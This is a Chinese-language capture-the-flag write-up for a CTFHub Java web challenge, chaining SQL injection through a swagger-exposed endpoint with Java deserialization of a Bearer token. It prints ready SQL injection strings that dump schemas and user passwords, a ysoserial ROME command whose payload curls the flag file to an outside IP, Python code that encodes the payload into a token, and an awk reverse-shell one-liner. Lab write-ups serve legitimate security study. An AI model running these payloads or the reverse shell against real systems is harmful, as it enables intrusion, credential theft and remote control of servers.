题目地址: https://www.ctfhub.com/#/challenge
打开网站如下提示:
把题目给出的class文件直接扔到IDEA里面看里面代码用jd-gui反编译或者使用fernflower反编译都可以
在/common/test/sqlDict下 dbName 参数没有任何过滤带入到数据库查询 存在SQL注入漏洞。
查看源代码发现swagger-ui api接口
url地址后面加上swagger-ui.html 访问如下图:
sql注入语句
dbName=myapp?#' union/**/select/**/group_concat(SCHEMA_NAME)from(information_schema.schemata)# dbName=myapp#'union/**/select/**/group_concat(column_name)from(information_schema.columns)where(table_name='user')and(table_schema='myapp')# dbName=myapp# 'union/**/select/**/group_concat(name)from(user)# dbName=myapp#'union/**/select/**/group_concat(pwd)from(user)#
返回一个auth 头:
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm82RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==
关于上面那段数据的解释:
登录获得token
熟悉java一看就知道是java的序列化后的base64
编码(如果以aced
则为java序列化后的hex编码)
然后我们把返回的data值输入到/common/user/current
接口中,则显示操作成功
auth 头是一个序列化后的信息,在查看用户信息时提交这个Bearer token进行反序列化
在github下载ysoserial工具 找一个外网IP监听任意端口 在终端输入如下命令:
java -jar ysoserial-master.jar ROME "curl http://X.X.X.X -d @/flag" > freebuf.bin
使用python编写如下代码:(或者使用burp里面的编码模块)
import base64 file = open("freebuf.bin","rb") now = file.read() ba = base64.b64encode(now) print("Bearer "+ba) file.close()
本以为能直接拿到flag 在题目提示里flag为随机命名,所以要拿到shell权限,很多小伙伴卡在这块。
使用msf生成meterpreter shell回话总是close
最终先把反弹代码写入到x.sh文件 再使用wget命令下载 然后再执行/bin/sh x.sh 命令一定要用base64编码。
awk 'BEGIN{s="/inet/tcp/0/X.X.X.X/1314";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'